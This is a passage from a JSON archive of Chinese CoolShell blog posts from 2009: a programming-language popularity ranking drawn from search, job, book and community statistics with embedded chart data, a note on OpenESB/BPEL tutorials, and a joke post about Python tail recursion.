width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17416.html\">缓存更新的套路</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/701.html\">25个Linux相关的网站</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-4-28 编程语言流行度排名.html",
    "content": "<html><body><p>下面的这些排名并不是非常科学的，它们只是从某种方面表现出了编程语言的流行程度。仅供参考。</p>\n<p><br/>\n<strong>Yahoo Search</strong><br/>\n这里，我们使用了Yahoo Search API，简单地搜索了一下相关的编程语言。收搜字样是”language programming”，下面是搜索到的页面结果。也许这能够说明语言的流行程度。 </p>\n<div id=\"search_results\" style=\"width: 600px; height: 350px;\">　　</div>\n<p><!--\n      Flotr.draw($('search_results'), [[[33100.0, 1], [96800.0, 2], [105000.0, 3], [107000.0, 4], [109000.0, 5], [122000.0, 6], [287000.0, 7], [318000.0, 8], [339000.0, 9], [347000.0, 10], [357000.0, 11], [385000.0, 12], [397000.0, 13], [479000.0, 14], [678000.0, 15], [1900000.0, 16], [2000000.0, 17], [2210000.0, 18], [2250000.0, 19], [2430000.0, 20], [2530000.0, 21], [3340000.0, 22], [3360000.0, 23], [3430000.0, 24], [4730000.0, 25], [7350000.0, 26], [7350000.0, 27], [15500000.0, 28], [16900000.0, 29]]], {\"yaxis\": {\"ticks\": [[1.4, \"OCaml\"], [2.4, \"Haskell\"], [3.4, \"Erlang\"], [4.4, \"Smalltalk\"], [5.4, \"Forth\"], [6.4, \"Tcl\"], [7.4, \"Ada\"], [8.4, \"Scheme\"], [9.4, \"Fortran\"], [10.4, \"Actionscript\"], [11.4, \"Lisp\"], [12.4, \"Cobol\"], [13.4, \"Lua\"], [14.4, \"Assembly\"], [15.4, \"Pascal\"], [16.4, \"SQL\"], [17.4, \"Shell\"], [18.4, \"Ruby\"], [19.4, \"Delphi\"], [20.4, \"D\"], [21.4, \"C#\"], [22.4, \"JavaScript\"], [23.4, \"Perl\"], [24.4, \"Python\"], [25.4, \"Visual\\u0026nbsp;Basic\"], [26.4, \"C++\"], [27.4, \"PHP\"], [28.4, \"Java\"], [29.4, \"C\"]]}, \"bars\": {\"horizontal\": true, \"show\": true, \"barWidth\": 0.8}});\n// --></p>\n<p><span id=\"more-706\"></span></p>\n<p><strong>工作相关</strong><br/>\n接下来，我们来看看与工作相关的页面。也是从Yahoo Search API中从Craigslist.org网站中取得这些数据。搜索模型如下：language programmer -“job wanted” site:craigslist.org。这个结果可以看到全球的雇主在雇佣技术人员的时候所要求的编程语言的数量分布。</p>\n<div id=\"craigslist_results\" style=\"width: 600px; height: 350px;\">　　</div>\n<p><!--\n      Flotr.draw($('craigslist_results'), [[[0.0, 1], [1.0, 2], [1.0, 3], [3.0, 4], [4.0, 5], [4.0, 6], [7.0, 7], [9.0, 8], [10.0, 9], [10.0, 10], [14.0, 11], [14.0, 12], [15.0, 13], [65.0, 14], [127.0, 15], [148.0, 16], [220.0, 17], [268.0, 18], [280.0, 19], [311.0, 20], [406.0, 21], [476.0, 22], [723.0, 23], [913.0, 24], [1110.0, 25], [1380.0, 26], [1760.0, 27], [1820.0, 28], [2210.0, 29]]], {\"yaxis\": {\"ticks\": [[1.4, \"D\"], [2.4, \"Haskell\"], [3.4, \"OCaml\"], [4.4, \"Smalltalk\"], [5.4, \"Erlang\"], [6.4, \"Tcl\"], [7.4, \"Lua\"], [8.4, \"Lisp\"], [9.4, \"Fortran\"], [10.4, \"Scheme\"], [11.4, \"Ada\"], [12.4, \"Forth\"], [13.4, \"Pascal\"], [14.4, \"Delphi\"], [15.4, \"Cobol\"], [16.4, \"Shell\"], [17.4, \"Assembly\"], [18.4, \"Visual\\u0026nbsp;Basic\"], [19.4, \"Python\"], [20.4, \"Ruby\"], [21.4, \"Perl\"], [22.4, \"Actionscript\"], [23.4, \"C++\"], [24.4, \"C#\"], [25.4, \"JavaScript\"], [26.4, \"Java\"], [27.4, \"C\"], [28.4, \"SQL\"], [29.4, \"PHP\"]]}, \"bars\": {\"horizontal\": true, \"show\": true, \"barWidth\": 0.8}});\n// --></p>\n<p><strong>技术书籍</strong><br/>\n下面是由Amason所提供的搜索API中得到的目前出版物中的编程语言相关的统计数据，一般来说，越流行的语言通常会有更多的书籍。我们来看看书籍方面的各语言的书籍数量的排行榜。</p>\n<div id=\"amazon_results\" style=\"width: 600px; height: 350px;\">　　</div>\n<p><!--\n      Flotr.draw($('amazon_results'), [[[0.0, 1], [2.0, 2], [12.0, 3], [17.0, 4], [49.0, 5], [74.0, 6], [93.0, 7], [125.0, 8], [133.0, 9], [136.0, 10], [147.0, 11], [181.0, 12], [188.0, 13], [227.0, 14], [375.0, 15], [405.0, 16], [700.0, 17], [727.0, 18], [744.0, 19], [847.0, 20], [907.0, 21], [925.0, 22], [949.0, 23], [1192.0, 24], [1452.0, 25], [2317.0, 26], [2666.0, 27], [3694.0, 28], [7443.0, 29]]], {\"yaxis\": {\"ticks\": [[1.4, \"D\"], [2.4, \"OCaml\"], [3.4, \"Erlang\"], [4.4, \"Lua\"], [5.4, \"Haskell\"], [6.4, \"Forth\"], [7.4, \"Smalltalk\"], [8.4, \"Actionscript\"], [9.4, \"Scheme\"], [10.4, \"Shell\"], [11.4, \"Ruby\"], [12.4, \"Delphi\"], [13.4, \"Python\"], [14.4, \"Lisp\"], [15.4, \"PHP\"], [16.4, \"Ada\"], [17.4, \"Perl\"], [18.4, \"Cobol\"], [19.4, \"Assembly\"], [20.4, \"JavaScript\"], [21.4, \"Fortran\"], [22.4, \"C#\"], [23.4, \"Tcl\"], [24.4, \"Pascal\"], [25.4, \"SQL\"], [26.4, \"C++\"], [27.4, \"Visual\\u0026nbsp;Basic\"], [28.4, \"Java\"], [29.4, \"C\"]]}, \"bars\": {\"horizontal\": true, \"show\": true, \"barWidth\": 0.8}});\n// --></p>\n<p><strong>Google Code 开源项目</strong><br/>\n下面的结果取自Googel Code (http://www.google.com/codesearch)，我们通过统计开源项目所使用的语言来查看是哪种语言在开源项目中的流行程度。</p>\n<div id=\"googlecode_results\" style=\"width: 600px; height: 350px;\">　　</div>\n<p><!--\n    Flotr.draw($('googlecode_results'), [[[4000.0, 1], [9000.0, 2], [44600.0, 3], [47600.0, 4], [87200.0, 5], [91100.0, 6], [154000.0, 7], [157000.0, 8], [173000.0, 9], [202000.0, 10], [219000.0, 11], [295000.0, 12], [296000.0, 13], [359000.0, 14], [363000.0, 15], [370000.0, 16], [422000.0, 17], [429000.0, 18], [429000.0, 19], [567000.0, 20], [865000.0, 21], [1070000.0, 22], [1490000.0, 23], [1730000.0, 24], [1800000.0, 25], [3680000.0, 26], [8400000.0, 27], [9800000.0, 28], [11300000.0, 29]]], {\"yaxis\": {\"ticks\": [[1.4, \"Forth\"], [2.4, \"Cobol\"], [3.4, \"D\"], [4.4, \"Erlang\"], [5.4, \"Haskell\"], [6.4, \"Ada\"], [7.4, \"OCaml\"], [8.4, \"Lua\"], [9.4, \"Scheme\"], [10.4, \"Tcl\"], [11.4, \"Actionscript\"], [12.4, \"Lisp\"], [13.4, \"Visual\\u0026nbsp;Basic\"], [14.4, \"SQL\"], [15.4, \"Assembly\"], [16.4, \"Fortran\"], [17.4, \"Smalltalk\"], [18.4, \"Delphi\"], [19.4, \"Pascal\"], [20.4, \"JavaScript\"], [21.4, \"Ruby\"], [22.4, \"Shell\"], [23.4, \"Python\"], [24.4, \"C#\"], [25.4, \"Perl\"], [26.4, \"PHP\"], [27.4, \"C++\"], [28.4, \"Java\"], [29.4, \"C\"]]}, \"bars\": {\"horizontal\": true, \"show\": true, \"barWidth\": 0.8}});\n// --></p>\n<p><strong>Del.icio.us</strong><br/>\ndel.icio.us是一个网摘网站，它提供的是一种收藏、分类、排序、分享互联网信息资源的方式。使用它存储网址和相关信息列表，使用标签(Tag)对网址进行索引使网址资源有序分类和索引，使网址及相关信息的社会性分享成为可能，在分享的人为参与的过程中网址的价值被给予评估。我们来看看BLOG社区中语言流行的程度。</p>\n<div id=\"delicious_results\" style=\"width: 600px; height: 350px;\">　　</div>\n<p><!--\n    Flotr.draw($('delicious_results'), [[[819.0, 1], [1405.0, 2], [2149.0, 3], [2835.0, 4], [2853.0, 5], [3044.0, 6], [3346.0, 7], [6041.0, 8], [6209.0, 9], [7840.0, 10], [8302.0, 11], [10009.0, 12], [11621.0, 13], [20318.0, 14], [26444.0, 15], [29016.0, 16], [31006.0, 17], [43919.0, 18], [51868.0, 19], [66527.0, 20], [71562.0, 21], [252024.0, 22], [252235.0, 23], [270101.0, 24], [270102.0, 25], [270102.0, 26], [283579.0, 27], [371783.0, 28], [428578.0, 29]]], {\"yaxis\": {\"ticks\": [[1.4, \"Cobol\"], [2.4, \"Ada\"], [3.4, \"Pascal\"], [4.4, \"Tcl\"], [5.4, \"Fortran\"], [6.4, \"D\"], [7.4, \"Forth\"], [8.4, \"Lua\"], [9.4, \"OCaml\"], [10.4, \"Delphi\"], [11.4, \"Visual\\u0026nbsp;Basic\"], [12.4, \"Assembly\"], [13.4, \"Smalltalk\"], [14.4, \"Erlang\"], [15.4, \"Scheme\"], [16.4, \"Shell\"], [17.4, \"Haskell\"], [18.4, \"Actionscript\"], [19.4, \"SQL\"], [20.4, \"Lisp\"], [21.4, \"Perl\"], [22.4, \"Ruby\"], [23.4, \"PHP\"], [24.4, \"C++\"], [25.4, \"C\"], [26.4, \"C#\"], [27.4, \"Python\"], [28.4, \"Java\"], [29.4, \"JavaScript\"]]}, \"bars\": {\"horizontal\": true, \"show\": true, \"barWidth\": 0.8}});\n// --></p>\n<p><strong>Ohloh 开源项目</strong></p>\n<p>让我们再来看一下<a href=\"http://www.ohloh.net/\">Ohloh</a> 上的开源项目所使用的编程语言的统计图。</p>\n<div id=\"ohloh_results\" style=\"width: 600px; height: 350px;\">　　</div>\n<p><!--\n    Flotr.draw($('ohloh_results'), [[[0.0, 1], [0.0, 2], [254.0, 3], [287.0, 4], [333.0, 5], [402.0, 6], [585.0, 7], [618.0, 8], [981.0, 9], [1006.0, 10], [1092.0, 11], [1139.0, 12], [1139.0, 13], [1187.0, 14], [1502.0, 15], [1611.0, 16], [1813.0, 17], [3893.0, 18], [5213.0, 19], [5639.0, 20], [9612.0, 21], [14432.0, 22], [14523.0, 23], [16064.0, 24], [20234.0, 25], [24249.0, 26], [26223.0, 27], [26832.0, 28], [37028.0, 29]]], {\"yaxis\": {\"ticks\": [[1.4, \"Cobol\"], [2.4, \"Forth\"], [3.4, \"Smalltalk\"], [4.4, \"Erlang\"], [5.4, \"Ada\"], [6.4, \"OCaml\"], [7.4, \"Fortran\"], [8.4, \"Lisp\"], [9.4, \"Haskell\"], [10.4, \"Visual\\u0026nbsp;Basic\"], [11.4, \"D\"], [12.4, \"Pascal\"], [13.4, \"Delphi\"], [14.4, \"Scheme\"], [15.4, \"Actionscript\"], [16.4, \"Tcl\"], [17.4, \"Lua\"], [18.4, \"Assembly\"], [19.4, \"C#\"], [20.4, \"Ruby\"], [21.4, \"SQL\"], [22.4, \"PHP\"], [23.4, \"Perl\"], [24.4, \"Python\"], [25.4, \"JavaScript\"], [26.4, \"Java\"], [27.4, \"C++\"], [28.4, \"Shell\"], [29.4, \"C\"]]}, \"bars\": {\"horizontal\": true, \"show\": true, \"barWidth\": 0.8}});\n// --></p>\n<p><strong>programming.reddit.com</strong><br/>\n我们再来看看聚合网站programming.reddit.com上的编程语言文章统计情况。</p>\n<div id=\"reddit_results\" style=\"width: 600px; height: 350px;\">　　</div>\n<p><!--\n    Flotr.draw($('reddit_results'), [[[0.0, 1], [0.0, 2], [0.0, 3], [0.0, 4], [0.0, 5], [0.0, 6], [0.0, 7], [1.0, 8], [2.0, 9], [3.0, 10], [3.0, 11], [4.0, 12], [5.0, 13], [11.0, 14], [11.0, 15], [14.0, 16], [21.0, 17], [22.0, 18], [24.0, 19], [28.0, 20], [31.0, 21], [33.0, 22], [38.0, 23], [67.0, 24], [70.0, 25], [72.0, 26], [93.0, 27], [108.0, 28], [115.0, 29]]], {\"yaxis\": {\"ticks\": [[1.4, \"Actionscript\"], [2.4, \"Ada\"], [3.4, \"D\"], [4.4, \"Delphi\"], [5.4, \"Fortran\"], [6.4, \"Lua\"], [7.4, \"Visual\\u0026nbsp;Basic\"], [8.4, \"Pascal\"], [9.4, \"Cobol\"], [10.4, \"Assembly\"], [11.4, \"SQL\"], [12.4, \"Forth\"], [13.4, \"Tcl\"], [14.4, \"OCaml\"], [15.4, \"Shell\"], [16.4, \"C#\"], [17.4, \"Smalltalk\"], [18.4, \"Scheme\"], [19.4, \"PHP\"], [20.4, \"Perl\"], [21.4, \"JavaScript\"], [22.4, \"Erlang\"], [23.4, \"C++\"], [24.4, \"Java\"], [25.4, \"Ruby\"], [26.4, \"Haskell\"], [27.4, \"Lisp\"], [28.4, \"C\"], [29.4, \"Python\"]]}, \"bars\": {\"horizontal\": true, \"show\": true, \"barWidth\": 0.8}});\n// --></p>\n<p><strong>Slashdot</strong><br/>\n我们来看看Slashdot.org上的编程语言的排名情况吧。还是主要根据相关的贴子的数量做统计。</p>\n<div id=\"slashdot_results\" style=\"width: 600px; height: 350px;\">　　</div>\n<p><!--\n    Flotr.draw($('slashdot_results'), [[[0.0, 1], [1.0, 2], [2.0, 3], [3.0, 4], [3.0, 5], [3.0, 6], [4.0, 7], [4.0, 8], [4.0, 9], [6.0, 10], [7.0, 11], [7.0, 12], [9.0, 13], [10.0, 14], [12.0, 15], [15.0, 16], [16.0, 17], [25.0, 18], [30.0, 19], [43.0, 20], [45.0, 21], [49.0, 22], [55.0, 23], [56.0, 24], [56.0, 25], [76.0, 26], [78.0, 27], [128.0, 28], [166.0, 29]]], {\"yaxis\": {\"ticks\": [[1.4, \"OCaml\"], [2.4, \"Haskell\"], [3.4, \"Tcl\"], [4.4, \"Actionscript\"], [5.4, \"Smalltalk\"], [6.4, \"Delphi\"], [7.4, \"D\"], [8.4, \"Lua\"], [9.4, \"Erlang\"], [10.4, \"Ada\"], [11.4, \"Fortran\"], [12.4, \"Pascal\"], [13.4, \"Forth\"], [14.4, \"Cobol\"], [15.4, \"Assembly\"], [16.4, \"C#\"], [17.4, \"Lisp\"], [18.4, \"Visual\\u0026nbsp;Basic\"], [19.4, \"Scheme\"], [20.4, \"Shell\"], [21.4, \"SQL\"], [22.4, \"C++\"], [23.4, \"Ruby\"], [24.4, \"JavaScript\"], [25.4, \"Python\"], [26.4, \"PHP\"], [27.4, \"Perl\"], [28.4, \"C\"], [29.4, \"Java\"]]}, \"bars\": {\"horizontal\": true, \"show\": true, \"barWidth\": 0.8}});\n// --></p>\n<p><strong>IRC</strong><br/>\n这里的数据来源于<a href=\"http://freenode.net/\">Freenode</a> <a href=\"http://en.wikipedia.org/wiki/IRC\">IRC</a>网络。</p>\n<div id=\"irc_results\" style=\"width: 600px; height: 350px;\">　　</div>\n<p> <!--\n    Flotr.draw($('irc_results'), [[[1.0, 1], [3.82916666666667, 2], [4.18333333333333, 3], [6.29583333333333, 4], [9.37083333333333, 5], [9.68879668049792, 6], [18.5082644628099, 7], [19.8416666666667, 8], [20.4, 9], [34.8375, 10], [43.9709543568465, 11], [46.5714285714286, 12], [63.0416666666667, 13], [80.9833333333333, 14], [83.0916666666667, 15], [85.9834710743802, 16], [157.504166666667, 17], [159.6875, 18], [176.933333333333, 19], [185.425, 20], [230.8875, 21], [245.607438016529, 22], [248.216666666667, 23], [257.734439834025, 24], [281.399141630901, 25], [311.260330578512, 26], [348.575, 27], [371.645833333333, 28]]], {\"yaxis\": {\"ticks\": [[1.4, \"Cobol\"], [2.4, \"Pascal\"], [3.4, \"Delphi\"], [4.4, \"Fortran\"], [5.4, \"Visual\\u0026nbsp;Basic\"], [6.4, \"Actionscript\"], [7.4, \"Smalltalk\"], [8.4, \"Forth\"], [9.4, \"Ada\"], [10.4, \"Tcl\"], [11.4, \"Assembly\"], [12.4, \"OCaml\"], [13.4, \"Lua\"], [14.4, \"Scheme\"], [15.4, \"Erlang\"], [16.4, \"SQL\"], [17.4, \"JavaScript\"], [18.4, \"Lisp\"], [19.4, \"Ruby\"], [20.4, \"Shell\"], [21.4, \"Perl\"], [22.4, \"C#\"], [23.4, \"Haskell\"], [24.4, \"C\"], [25.4, \"C++\"], [26.4, \"Java\"], [27.4, \"PHP\"], [28.4, \"Python\"]]}, \"bars\": {\"horizontal\": true, \"show\": true, \"barWidth\": 0.8}});  \n//--></p>\n<p>最后，如果你对其中的某些语言不是很熟悉的话，下面是维基百科上关于这些语言的链接。</p>\n<li><a href=\"http://en.wikipedia.org/wiki/Actionscript\">Actionscript</a></li>\n<li><a href=\"http://en.wikipedia.org/wiki/Ada_(programming_language)\">Ada</a></li>\n<li><a href=\"http://en.wikipedia.org/wiki/Assembly_language\">Assembly</a></li>\n<li><a href=\"http://en.wikipedia.org/wiki/C_(programming_language)\">C</a></li>\n<li><a href=\"http://en.wikipedia.org/wiki/C_Sharp_(programming_language)\">C#</a></li>\n<li><a href=\"http://en.wikipedia.org/wiki/C%2B%2B\">C++</a></li>\n<li><a href=\"http://en.wikipedia.org/wiki/Cobol\">Cobol</a></li>\n<li><a href=\"http://en.wikipedia.org/wiki/D_(programming_language)\">D</a></li>\n<li><a href=\"http://en.wikipedia.org/wiki/Delphi_programming_language\">Delphi</a></li>\n<li><a href=\"http://en.wikipedia.org/wiki/Erlang_(programming_language)\">Erlang</a></li>\n<li><a href=\"http://en.wikipedia.org/wiki/Forth_(programming_language)\">Forth</a></li>\n<li><a href=\"http://en.wikipedia.org/wiki/Fortran\">Fortran</a></li>\n<li><a href=\"http://en.wikipedia.org/wiki/Haskell_(programming_language)\">Haskell</a></li>\n<li><a href=\"http://en.wikipedia.org/wiki/Java_(programming_language)\">Java</a></li>\n<li><a href=\"http://en.wikipedia.org/wiki/JavaScript\">JavaScript</a></li>\n<li><a href=\"http://en.wikipedia.org/wiki/Lisp_(programming_language)\">Lisp</a></li>\n<li><a href=\"http://en.wikipedia.org/wiki/Lua_(programming_language)\">Lua</a></li>\n<li><a href=\"http://en.wikipedia.org/wiki/OCaml\">OCaml</a></li>\n<li><a href=\"http://en.wikipedia.org/wiki/PHP\">PHP</a></li>\n<li><a href=\"http://en.wikipedia.org/wiki/Pascal_(programming_language)\">Pascal</a></li>\n<li><a href=\"http://en.wikipedia.org/wiki/Perl\">Perl</a></li>\n<li><a href=\"http://en.wikipedia.org/wiki/Python_(programming_language)\">Python</a></li>\n<li><a href=\"http://en.wikipedia.org/wiki/Ruby_(programming_language)\">Ruby</a></li>\n<li><a href=\"http://en.wikipedia.org/wiki/SQL\">SQL</a></li>\n<li><a href=\"http://en.wikipedia.org/wiki/Scheme_(programming_language)\">Scheme</a></li>\n<li><a href=\"http://en.wikipedia.org/wiki/Bourne_shell\">Shell</a></li>\n<li><a href=\"http://en.wikipedia.org/wiki/Smalltalk\">Smalltalk</a></li>\n<li><a href=\"http://en.wikipedia.org/wiki/Tcl\">Tcl</a></li>\n<li><a href=\"http://en.wikipedia.org/wiki/Visual%20Basic\">Visual Basic</a></li>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/6639.html\"><img alt=\"千万别惹程序员 \" height=\"150\" src=\"../wp-content/uploads/2012/02/programming-language-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/6639.html\">千万别惹程序员 </a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4626.html\"><img alt=\"读书笔记：对线程模型的批评\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4626.html\">读书笔记：对线程模型的批评</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3385.html\"><img alt=\"编程语言流行度\" height=\"150\" src=\"../wp-content/uploads/2010/12/rank_scatter1-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3385.html\">编程语言流行度</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3100.html\"><img alt=\"编程语言进化\" height=\"150\" src=\"../wp-content/uploads/2010/10/language-evolution-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3100.html\">编程语言进化</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/2724.html\"><img alt=\"计算机编程简史图\" height=\"150\" src=\"../wp-content/uploads/2010/07/aboutprogramming04.eng_-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/2724.html\">计算机编程简史图</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/2598.html\"><img alt=\"五个编程语言设计的失误\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/22.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/2598.html\">五个编程语言设计的失误</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/706.html\">编程语言流行度排名</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-4-29 Glassfish ESB 的教程.html",
    "content": "<html><body><p><a href=\"https://open-esb.dev.java.net/\" target=\"_blank\">OpenESB</a>项目实现了一个运行期企业服务总线(Enterprise Service Bus:ESB)使用JBI(Java业务集成)作为核心基础。OpenESB可以让你集成企业应用与Web Service松散地连接成复合的应用程序。这使得你可以无缝地组合与拆解该复合应用程序，并认识到一个真正面向服务架构(SOA)的优点。</p>\n<p>BPEL是一种编程语言，它明确定义了基于Web服务的业务流程。BPEL在支持业务伙伴间的长时间会话方面表现尤为卓越。BPEL将成为基于Web服务的业务流程最广泛采用的标准，这一趋势早在该标准正式发布前就已经非常明显。</p>\n<p>BPEL适用于支持业务流程逻辑的“宏观编程”。这些业务流程均是完整而独立的应用，它们将Web服务作为实现其业务功能的“活动”。BPEL不致力于成为通用的编程语言，相反，它的应用设想就是与其他实现业务功能（“微观编程”）的编程语言结合使用。</p>\n<p><span id=\"more-732\"></span></p>\n<p>OpenESB上有一些BPEL教程都是非常有趣的，下面一些教程的例子：</p>\n<p><a href=\"http://wiki.open-esb.java.net/attach/OpenESBIntroductionTutorial/openesbIntro1.swf\">http://wiki.open-esb.java.net/attach/OpenESBIntroductionTutorial/openesbIntro1.swf</a><br/>\n<a href=\"http://wiki.open-esb.java.net/attach/OpenESBIntroductionTutorial/openesbIntro2.swf\">http://wiki.open-esb.java.net/attach/OpenESBIntroductionTutorial/openesbIntro2.swf</a><br/>\n<a href=\"http://wiki.open-esb.java.net/attach/OpenESBIntroductionTutorial/openesbIntro3.swf\">http://wiki.open-esb.java.net/attach/OpenESBIntroductionTutorial/openesbIntro3.swf</a><br/>\n<a href=\"http://wiki.open-esb.java.net/attach/OpenESBIntroductionTutorial/openesbIntro4.swf\">http://wiki.open-esb.java.net/attach/OpenESBIntroductionTutorial/openesbIntro4.swf</a><br/>\n<a href=\"http://wiki.open-esb.java.net/attach/OpenESBIntroductionTutorial/gfesbTute5-annotated.swf\">http://wiki.open-esb.java.net/attach/OpenESBIntroductionTutorial/gfesbTute5-annotated.swf</a><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/2681.html\"><img alt=\"Kent Beck 谈单元测试和持续部署\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/5.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/2681.html\">Kent Beck 谈单元测试和持续部署</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/25.html\"><img alt=\"如何上网觅无踪\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/5.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/25.html\">如何上网觅无踪</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/2589.html\"><img alt=\"十个免费的Web压力测试工具\" height=\"150\" src=\"../wp-content/uploads/2010/07/get_more_web_traffic-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/2589.html\">十个免费的Web压力测试工具</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/2608.html\"><img alt=\"Google App Inventor \" height=\"150\" src=\"../wp-content/uploads/2010/07/androidappinventor-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/2608.html\">Google App Inventor </a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/6346.html\"><img alt=\"程序员因为女孩而美丽！\" height=\"150\" src=\"../wp-content/uploads/2012/01/481px-Ada_Lovelace_1838-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/6346.html\">程序员因为女孩而美丽！</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/11235.html\"><img alt=\"一个浮点数跨平台产生的问题\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/2.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/11235.html\">一个浮点数跨平台产生的问题</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/732.html\">Glassfish ESB 的教程</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-4-30 某Python实现的尾部递归.html",
    "content": "<html><body><p><a href=\"https://coolshell.cn/?author=3\">mailper</a> 在2009年4月26的文章里《<a class=\"title\" href=\"../?p=694\" rel=\"bookmark\">Guido认为程序员大多数工作不需要递归</a>》谈及递归不是编程的基础。并且在python中并没有实现尾部递归Tail Recurssion。</p>\n<p>但是，今天我们却看见了某Python实现的尾部递归</p>\n<p><span id=\"more-737\"></span></p>\n<p><a href=\"https://coolshell.cn/?attachment_id=738\" rel=\"attachment wp-att-738\"><img alt=\"snake\" class=\"aligncenter size-full wp-image-738\" height=\"340\" src=\"../wp-content/uploads/2009/04/snake.jpg\" title=\"snake\" width=\"420\"/></a></p>\n<p>：）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18360.html\"><img alt=\"程序员练级攻略（2018)  与我的专栏\" height=\"150\" src=\"../wp-content/uploads/2018/05/300x262-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18360.html\">程序员练级攻略（2018)  与我的专栏</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/11265.html\"><img alt=\"Python修饰器的函数式编程\" height=\"150\" 